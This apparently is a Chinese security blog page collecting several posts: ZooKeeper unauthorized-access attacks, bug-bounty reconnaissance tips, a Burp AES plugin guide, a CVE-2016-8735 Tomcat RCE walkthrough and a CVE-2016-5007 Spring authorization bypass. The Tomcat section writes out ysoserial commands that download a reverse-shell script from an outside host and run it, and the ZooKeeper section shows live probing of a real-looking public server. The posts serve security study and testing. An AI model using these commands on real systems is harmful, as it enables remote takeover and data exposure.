分类 WEB安全 下的文章

攻击大数据应用:ZooKeeper

0x01 前言

随着大数据时代的到来,越来越多的大数据技术已逐渐被应用于实际生产,但作为一个安全人员,我们关注点必然和安全相关,那大数据环境中面临的安全问题又有哪些呢?Stardustsky牛的《攻击大数据应用(一)》对大数据的一些技术做一个简单的概念介绍并总结了Elasticsearch的四种攻击方式。这里我打算整理成一系列的Paper,本篇我们将着重探索一下ZooKeeper存在的一些安全问题。

0x02 ZooKeeper漏洞

ZooKeeper是一个开放源码的分布式应用程序协调服务,提供的功能包括:配置维护、名字服务、分布式同步、组服务等。Zookeeper默认是未授权就可以访问,特别对于公网开放的Zookeeper来说,这也导致了信息泄露的存在。

常见安全隐患:

  • 信息泄露
  • 开放公网访问
  • 未认证访问

一、信息泄露

这个漏洞的漏洞编号为CVE-2014-0085,是14年发现的一个信息泄露漏洞,危害级别比较低。我们看看漏洞描述:

58772fd442513.png

该漏洞源于程序记录明文admin密码。本地攻击者可通过读取日志利用该漏洞获取敏感信息。

在zookeeper中zoo.cfg中可以配置dataLogDir来单独放置事务log,可以很好的避免与普通log和内存快照混合。但是Zookeeper中使用了明文来显示密码,这就导致了信息的泄露。

该漏洞的利用场景:

内网渗透中遇到ZooKeeper集群后,可以查找事务日志来获取admin的密码或者其他敏感资源的认证方法。访问logs目录:

5877314c7a25c.png

可以看到认证中客户端使用的账号密码。如果是管理员的密码,就会造成更大的影响。

二、开放公网访问&未授权访问

未授权访问是Zookeeper目前存在的最为严重的一个安全问题,相当多的企业将其直接放置于公网,且未作任何访问限制,导致攻击者可直接访问到很多内部信息。

先来张图压压惊:

58773d2c6bcd7.png

Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令!

我们通过Zoomeye看一下全球对外开放的Zookeeper有多少:

587747ef4772b.png

587747ef7248b.png

结果显示全球大约有3W+主机开放了2181端口,也就说全球大约有3W+的Zookeeper未授权访问漏洞!

利用

发现 Zookeeper

nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24  
grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt

例如某厂商的Zookeeper未授权访问:

远程获取该服务器的环境

echo envi | nc ip port

587749087c56c.jpg

直接连接

telnet或者:

./zkCli.sh -server ip:port

命令运行示例:

dump:列出未完成的会话和临时节点。

$ echo dump |ncat 52.2.164.229 2181
    SessionTracker dump:
    Global Sessions(7):
    0x1053c5850800023   4000ms
    0x1053c5850800024   4000ms
    0x2000b1ecdeb0160   4000ms
    0x2000b1ecdeb0161   4000ms
    0x2000b1ecdeb0162   4000ms
    0x3055d0251540008   4000ms
    0x3055d0251540009   4000ms
    ephemeral nodes dump:
    Sessions with Ephemerals (5):
    0x1053c5850800024:
    /borg/locutus/agents/061e4b6/10.92.1.192:9257
    0x1053c5850800023:
    /borg/locutus/agents/061e4b6/10.92.1.118:9257
    0x3055d0251540008:
    /borg/locutus/agents/061e4b6/10.92.1.120:9257
    0x2000b1ecdeb0162:
    /borg/locutus/agents/061e4b6/10.92.1.87:9257
    0x3055d0251540009:
    /borg/locutus/agents/061e4b6/10.92.1.10:9257
    Connections dump:
    Connections Sets (2)/(7):
    Ncat: An established connection was aborted by the software in your host machine. .

envi:打印有关服务环境的详细信息。

$ echo envi |ncat 52.2.164.229 2181
    Environment:
    zookeeper.version=3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
    host.name=locutus-zk3.ec2.shopify.com
    java.version=1.7.0_79
    java.vendor=Oracle Corporation
    java.home=/usr/lib/jvm/java-7-openjdk-amd64/jre
    java.class.path=:/etc/zookeeper-locutus:/usr/src/zookeeper-locutus/zookeeper/zookeeper-3.5.1-alpha.jar:/usr/src/zookeeper-locutus/zookeeper/lib/commons-cli-1.2.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-core-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-mapper-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/javacc.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-util-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-0.9.94.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-2.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/log4j-1.2.16.jar:/usr/src/zookeeper-locutus/zookeeper/lib/netty-3.7.0.Final.jar:/usr/src/zookeeper-locutus/zookeeper/lib/servlet-api-2.5-20081211.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.7.5.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.7.5.jar
    java.library.path=/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
    java.Ncat: An established connection was aborted by the software in your host machine.

reqs:列出未完成的请求。

$ echo reqs |ncat 52.2.*.229 2181
close: Result too large

ruok:测试服务器是否运行在非错误状态。

$ echo ruok |ncat 52.2.*.229 2181
imok

stat:列出关于性能和连接的客户端的统计信息。

$ echo stat |ncat 52.2.164.229 2181
    Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
    Clients:
     /10.92.1.120:35986[1](queued=0,recved=2238053,sent=2238053)
     /10.92.1.10:48851[1](queued=0,recved=2235979,sent=2235979)
     /10.92.1.242:54198[1](queued=0,recved=713623,sent=713623)
     /86.136.100.60:11057[0](queued=0,recved=1,sent=0)
     /10.92.1.253:60423[1](queued=0,recved=2204714,sent=2204714)
     /10.92.1.192:47933[1](queued=0,recved=1926008,sent=1926008)
     /10.92.1.118:37256[1](queued=0,recved=129470,sent=129470)
     
    Latency min/avg/max: 0/0/981
    Received: 25813570
    Sent: 25813622
    Connections: 7
    Outstanding: 0
    Zxid: 0xc2000016ad
    Mode: follower
    Node count: 192

kill命令太危险就不测试了。

ZooKeeper的一些基本知识和命令可以参考:《Zookeeper中文文档》

这里贴上一个ZooKeeper未授权访问的检测脚本:

https://raw.githubusercontent.com/ysrc/xunfeng/master/vulscan/vuldb/zookeeper_unauth_access.py

0x03 加固建议

  • 禁止把Zookeeper直接暴露在公网
  • 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

0x04 总结

本文主要介绍了ZooKeeper的一些安全隐患和攻击方式,但这些漏洞除了非授权访问基本上都已被修复。篇幅有些短,因为大数据安全对很多安全研究者来说还是个比较陌生的领域,网上关于这方面的案例不多,大家对大数据应用的安全重视程度也还比较低,但是对于大数据逐渐泛滥的今天,相信会有更多的从业者投身到该领域的研究中来。欢迎补充:-)

0x05 参考

SRC漏洞挖掘小见解

0x01 本文由来

前段时间一直忙着工作也没有好好的总结一下,今天趁着周末来总结一下前段时间关于漏洞挖掘的一些心得。

0x02 说在前面的话(扯淡)

漏洞挖掘我并不是什么大牛,还只是一个在慢慢摸索前行的学习者,也欢迎大家一起来交流漏洞挖掘技术。我的qq:2776369267。

其次本文针对的人群并不是大牛,所以也请不要喷,如果你觉得我写的不好,可以加我指导一下我,大家一起碰撞一下思路。

最后本文可能基本都是文字看起来是比较疲倦的,希望大家见谅,因为我不可能把挖的漏洞截图给大家,这个希望大家理解一下,但是来讨论没问题的。

0x03 漏洞挖掘的前期--信息收集

虽然是前期,但是却是我认为最重要的一部分;

很多人挖洞的时候说不知道如何入手,其实挖洞就是信息收集+常规owasp top 10+逻辑漏洞(重要的可能就是思路猥琐一点),这些漏洞的测试方法本身不是特别复杂,一般混迹在安全圈子的人都能复现漏洞。接下来我就着重说一下我在信息收集方面的心得。

1、域名信息收集

src一般都只收对应的漏洞,很多src的公告里面就会明确范围;然后我们就需要根据这些范围来确定域名。

如果src上面没有给出范围,那么需要我们去搜集,你需要知道哪些domain是该公司的,主要通过手工来查看:如:

  • 网站的关于页面/网站地图
  • whois反查
  • 一些网站里面的跳转请求(也可以关注一下app)
  • 还有就是百度,有些会在title 和 copyright信息里面出现该公司的信息
  • 网站html源码:主要就是一些图片、js、css等,也会出现一些域名
  • apk反编译源码里面
  • …………还需要你们来补充

2、子域名信息收集

工具:

  • subdomain lijiejie的子域名收集工具(个人觉得挺好用的);
  • layer:这个工具也不错;

其他的还有很多,比如kali下的等等,不写那么多免得看着蛋疼;

但是只要是工具就会有误报,建议大家对获取的子域名写个脚本处理一下;判断哪些是可以访问的,哪些是不可以访问的,哪些访问是测试页面的。可以节约不少时间。

手工:其实也是可以工具化(爬虫思维,不过爬虫不是很准确)

利用google hacking 搜索,大家一定不要只用google 搜索,这样是不全面的,还有 bing(不用翻墙)、百度、360等等,因为很多国内的网站利用google去搜索是搜不到的。这里就不说语法了,贴几条常用的就行了。

搜集域名和mail地址:
搜集敏感文件:site:xxx.com filetype:doc
搜集管理后台:site:xxx.com 管理/site:xxx.com admin/site:xxx.com login
搜集mail:site:xxx.com intext:@xxx.com/intext:@xxx.com
搜集敏感web路径:site:xxx.com intitle:登录/site:xxx.com inurl:sql.php

3、敏感信息收集

这一块是比较大的一块,我这里举一些:

  • github源代码:网上有工具(https://github.com/repoog/GitPrey
  • svn信息泄漏:这个只能用扫描器了
  • 敏感文件:比如数据库配置文件啦(有案例的)、网站源码啊、数据库备份文件等等
  • 敏感目录:网站后台目录/一些登录地址/一些接口目录
  • email:邮箱命名规则、公司是否具有邮箱默认密码(这个可以采取社工,毕竟我司默认密码就很弱鸡)。
  • 员工号:很多oa、um、sso系统都是采用员工号登录的,所以知道员工号的规则很多时候能帮助我们进行撞库。
  • 商家信息:如果是一些具有商家系统的,能收集到一些商家账户(自己搞去,可以注册,注册资料请百度)就可以进入很多系统来测试了。

4、小结一下

其实很多时候,我们通过信息收集能得到不少的漏洞了,我这里举几个简单的案例:

  • 通过搜索引擎获取系统管理页面,直接越权访问;(说好的没有详细)
  • 通过github直接找到管理后台账号密码;
  • 通过目录/文件扫描直接得到系统信息(ip、管理员账号密码)连入服务器;

当然也有很多通过信息收集得到一些东西结合其他手段;

0x04 漏洞挖掘的中期--信息处理

1、信息整理

对于第三节提到的那些信息收集技术,我们不难收集完了就完了,一定好好整理,会对后期渗透有很大的帮助。这里说一下具体怎么整理。

  • 利用word或excel或txt 都行,我建议word 和excel 因为txt毕竟太简单了。

分类:

  • 哪些网站功能类似;
  • 哪些网站可能使用的同一模版;
  • 哪些网站有waf(这个一般在url中标明就好);
  • 哪些网站能登录(注册的账号也一定要记住,最好可以准备两个手机号,两个邮箱方便注册);
  • 哪些网站暴露过哪些类型的漏洞(这个只能去乌云上面找);
  • 网站目前有哪些功能(这个稍微关注一下网站公告,看最近是否会有业务更迭);

2、漏洞整理

我们幸苦的挖洞一定要对我们挖掘出来对漏洞有一个记录,记录的可以稍微详细一些,一是可以方便自己以后回顾,还有就是以后说不定有些地方出现了跟以前一样的功能,这样就方便我们更快的找到漏洞。这里建议doc文档,图片可以贴的详细一些。

第二个就是通过漏洞得到的一些数据:

  • 订单信息;遍历、注入
  • 用户信息:这个可以通过撞库获取、任意密码重置获取、注入
  • 数据库用户名密码:注入、配置泄漏

为什么我们要整理这些数据,因为我们要根据这些数据来设计我们的字典。爆破完好了,一样的6。

0x05 漏洞挖掘的后期--漏洞挖掘

有了前两步,这里我会写的少一点,毕竟漏洞的类型就那么些,像前文说过就是owasp top 10、逻辑,对于挖掘这些漏洞,我觉得没什么特别好的办法,就是抓包分析逻辑(这里说的不包括对软件客户端的挖掘、app的挖掘);

首先我们需要对一个网站/app有一个了解要知道它的功能点有哪些(后期我会更新一个checklist介绍一下哪些功能会对应什么样的漏洞)。

其次我们要分析这个网站/app里面的请求哪些是我们可以控制的参数,这些地方就是漏洞经常出没的点。

最后就是分析逻辑,这一类别的漏洞主要还是涉及一套流程,这里举个例子:

例:”我们买东西”

首先我们要选择:筛选涉及查询(是否可以SQL注入)

加入购物车:商品数量是否可以为负

询问商家:

  • 跳转客服系统,跳转url中是否含有用户参数
  • xss打客服cookie
  • 钓鱼+社工

    下单:

  • 填地址,涉及插入(注入)、xss
  • 修改单价
  • 修改总额(这里说明一下修改总额:情况1,就是我们可能会遇到可以使用优惠卷的情况,比如我们买了100的东西只能使用5块的优惠价,但是我有一张50的优惠卷是否可以使用;情况2,打折我们是否可以修改打折的折扣;情况3,我们是否可以修改运费,将运费改为负数;情况n)

备注:

  • xss,sql注入

电子票据:

  • 会写抬头

支付:

  • 传输过程中是否可以修改,如果是扫描二维码支付,我们可以分析一下二维码中的请求url看是否可以修改以后重新生成二维码(这里不讨论后面具体了支付了,因为微信和支付宝)

    订单完成:

  • 是否可以遍历订单
  • 评价:注入、上传图片、xss

退货

…………

大家可以无限延伸,这里只是抛砖引玉。

0x06 说在最后的几句话

其实这方面的文章很少,几个原因:

  • 大家会觉得就是经验,玩多了就自然会了,教不了什么;
  • 这种分享经验特别不好写,现在也不知道我写了什么,其实都是一个思路点;
  • 懒,不愿意……肯定都有一定的原因;

最后就是一点建议了:

src慢慢的挖多了系统更新不快,业务不多自然就很难挖了,所以一定要有坚持精神,深入挖掘意识,因为挖洞没有想象中的那么简单;不要想一步登天,多去看看乌云的案例分析一下别人的挖掘思路,然后跟着学。

最后谢谢大家看了这么多废话!

BurpSuite插件开发Tips:请求响应参数的AES加解密

缘由

自己使用burp进行测试的过程中遇到好些接口是有sign的,如果修改了请求参数都需要重新计算sign值,所以有用python实现过一个简单的插件,来自动计算sign值,以达到和普通接口测试一样方便的效果。

后来,好基友在做一个APP的测试的时候,发现有类似的问题,接口的所有参数都有使用AES加密,返回也是一样。他通过逆向获得了加密的算法,我们就通过如下的插件实现了自动加解密的过程。在整个过程中有一点点收获,现分享出来。

具体bug请移步:Zealer_android客户端安全检测(从脱壳到burp自动加解密插件案例/SQL注入/逻辑漏洞/附AES加解密脚本POC)

代码

闲话少说,上代码,BurpExtender主类代码如下,进行了较为详细的注释。AES算法类的参考链接:

code:

收获和建议

1.尽量使用java、避免python

我平常python用得比较多的,之前也用python写过几个简单插件。但是在开发burp插件的时候,发现还是Java更合适。上面的这个插件,最初就是用py实现的,但是,当这个py文件调了python的其他类,如下图。通过Jython去解析执行,遇到pyd文件就无法进行下去了,因为pyd是C写的,Jython是无法使用C写的模块的。burp本事是Java写的,使用Java去开发插件兼容性最高,会少很多莫名其妙的错误。

14658104734594.png

下面这个链接对此有详细说明:

14658105549687.png

2.适当代码分离、方便测试

我会分别将插件的代码和AES算法的代码分别写在两个不同文件中。这样可以单独调试算法的代码,也可以让插件代码更简洁不易出错。因为插件的代码每修改一次都需要重新在burp中加载才可以看到效果,不像一般的程序在IDE中就可以调试,所以个人认为这样比较好。

14658107055030.png

3.向优秀插件学习

插件代码的结构基本是固定的。比如,如果想要写一个对http请求和响应进行操作的插件,那么基本上如图的这段代码是可以直接copy使用的,下图标红的几个方法就都是必须的。我想我们大多数时候都是在对http的包进行处理。有了大的框架之后,再进行修改相对会容易很多。所以,如果你想写一个什么样的插件,你完全可以去找一个类似的插件,看他的代码,copy他的代码,改他的代码(比如我的,呵呵)。

14658110843982.png

你要问怎么样查看已有插件的代码?怎样查API文档?

首先安装一个已有插件。

14658112007656.png

找到burp所在路径下的bapps目录,里面就是你安装了的插件。

14658112112250.png

14658112207654.png

拖到JD-Gui中就可以看代码了,这种一般是不会做混淆的,至少我还没发现~。Py的就更不用说了,直接文件右键打打开。

14658112315306.png

4.查找并阅读官方API

关于API文档,我是通过溯源的方法,对于0基础的读者比较实用。比如我的目的是加密各个参数,那么首先要获取请求中的参数。我先去API库中搜索关键词parameter,可以找到多个相关方法,通过对比,我确定List<IParameter> getParameters();是我需要的。找到这个方法后,查看它的参数、返回值类型、所属的类这三个关键因素。它属于IRequestInfo类,只有IRequestInfo类型的对象才可以调用它,那么,有哪些方法会返回这个类型的对象呢?再去找那些方法可以返回这个类型的方法。依次类推,可以知道需要使用哪些方法,哪些类,就能梳理清除大致的思路了。

14658115701726.png

5.插件代码的套路

14658110843982.png

1.public class BurpExtender implements IBurpExtender, IHttpListener

tl.png

2.public class BurpExtender implements IBurpExtender, IHttpListener

tl2.png

3.http请求的常规处理逻辑

processHttpMessage 中需要做的事

  • Burp中最初拿到的东西就是 IHttpRequestResponse messageInfo
  • 把它变成我们认识的数据包格式:

    analyzeRequest = helpers.analyzeRequest(messageInfo);

burptips3.png

burptips4.png

获取各种需要处理的对象:参数、header、body,对象不同,方法有所差别

tl5.png

修改各对象并更新到最终的数据包

6.图形界面怎么搞

1.安装windowbuilder插件

教程:

http://jingyan.baidu.com/article/4d58d54113bfdd9dd5e9c045.html

exe.png

通过拖拽来实现图形解密的设计

exe1.png

exe2.png

为按钮添加点击事件

2.BurpExtender类中增加 Itab IContextMenuFactory

exe3.png

exe4.png

  • 这两个类接口也有他们必须实现的方法,否则看不到图形界面 String getTabCaption(); Component
  • getUiComponent(); –之前踩过的大坑
  • IContextMenuFactory —-对应的是那个“send to”功能

7.关于调试和移植

不能在IDE中直接调试,只能导出jar包,通过burp调用才能看到效果。 ———–所以编写过程尽量多使用输出排查错误。

图形界面的编写可以在IDE中调试完成后再移植到burp中,但是移植到burp需要修改一些地方。

exe5.png

项目主页

BurpSuite插件分享:图形化重算sign和参数加解密插件(更新2.2版本)

参考文档汇总

向先行者致敬,让我们少走弯路。

Java篇:

Python篇:

CVE-2016-8735 Apache Tomcat Remote Code Execution

构造命令

Win ping一次命令:

ping -n 1 qjkpla.ceye.io

Linux ping 一次命令:

ping -c 1 qjkpla.ceye.io

利用Ceye回显看是否存在漏洞:

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "ping -c Groovy1.test.qjkpla.ceye.io"

poc1.png

DNS回显能返回数据,说明执行了Ping命令,也就是说漏洞存在

poc2.png

直接NC监听服务:

nc -l -vv 12555

poc3.png

然后构造命令:下载我们的反弹脚本:(之前用bash命令反弹没有成功所以使用Python脚本进行反弹)

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "wget http://rinige.com/back.py -O /tmp/x.py"

执行完此命令继续构造命令,去执行刚在wget的脚本

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口Groovy1 "python /tmp/x.py 反弹主机地址 反弹端口"

poc4.png

成功反弹:

poc5.png

poc6.png

提供一下测试环境和新编译的ysoserial:

  • 环境:apache-tomcat-8.0.36

链接:http://pan.baidu.com/s/1i4H9ryH 密码:0jeu

CVE-2016-5007 Spring Security / MVC Path Matching Inconsistency

概要

  • 产品名称:Spring Web + Spring Security / Spring Boot
  • 标题:Spring Security / MVC Path Matching Inconsistency
  • CVE ID: CVE-2016-5007
  • Intrinsec ID:ISEC-V2016-01
  • 风险级别:中
  • 漏洞利用:远程
  • 影响:请求授权绕过

描述

此漏洞影响的Spring Web和Spring Security使用HttpSecurity.authorizeRequests用于URL访问控制的应用。

Spring提供了一个Spring Security使用文档:

http://docs.spring.io/spring-security/site/docs/current/reference/html/jc.html#authorize-requests

protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()                                                                
            .antMatchers("/resources/**", "/signup", "/about").permitAll()                  
            .antMatchers("/admin/**").hasRole("ADMIN")                                      
            .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')")            
            .anyRequest().authenticated()                                                   
            .and()
        // ...
        .formLogin();
}

在以下示例中,用户”User”不是管理员,并且无法访问”/admin/”管理目录:

cve-2016-5007-1.png

但是,如果在URL中将空格(或其他空格字符)附加到”admin”前后,可以轻易绕过安全过滤器。

  • 附加空格(由浏览器自动编码为”%20″):

cve-2016-5007-2.png

  • %0D前置:

cve-2016-5007-3.png

问题是使用不同的匹配器来实现访问控制,并且识别哪个控制器类应该处理请求。用于访问控制的第一个匹配器是严格的:”admin “被认为不同于”admin”:

cve-2016-5007-4.png

然而,用于找到适当的控制器的第二匹配器应用删除每个URL令牌之前和之后的空白的修剪操作,因此”admin”变为”admin”:

cve-2016-5007-5.png

总之:

访问控制匹配器不识别受保护的路径,因此应用默认的“允许”规则,而控制器查找器匹配器找到受保护的控制器。

两个匹配器之间的严格性不匹配导致了这种情况。

这个漏洞危害性高低与否取决越权查看页面后查询数据的时候是否有校验当前用户的session。

影响版本

  • Spring Security 3.2.x,4.0.x,4.1.0
  • Spring框架3.2.x,4.0.x,4.1.x,4.2.x
  • 其他不受支持的版本也会受到影响

解决方案

Spring Security提供了可以将模式匹配委派给Spring框架的URL授权,要利用这个选项,应用程序应该升级到Spring Security 4.1.1+和Spring Framework 4.3.1+并使用MvcRequestMatcher。

Spring Framework 3.2.x,4.0.x,4.1.x,4.2.x的用户可以使用MVC Java配置或MVC命名空间将AntPathMatchertrimTokens属性设置为“false”。

此外,应用程序应该总是使用Spring Security的一种机制(例如添加@Secured注释),在应用程序的业务层使用额外的授权来补充基于URL的授权。

分享一个两年前的测试案例:

目标是基于拦截器的访问控制,但是系统做拦截判断的时候是采用完全匹配模式校验,所以可以轻易绕过。

http://xxx.com:8000/security/security!admin.action --blocking
http://xxx.com:8000////security/security!admin.action --bypass

简单总结下这个两个漏洞产生的原因:

第一个案例的问题问题出现在第二个规则检测前的数据处理工作,do_work(a)的时候已经不知道do_check(a)是什么内容了!这里能做什么?只能保证保持输入a不变,能做事就做,做不了就反馈错误!此类问题绝非个案,平时代码审计可以多加关注。

Reference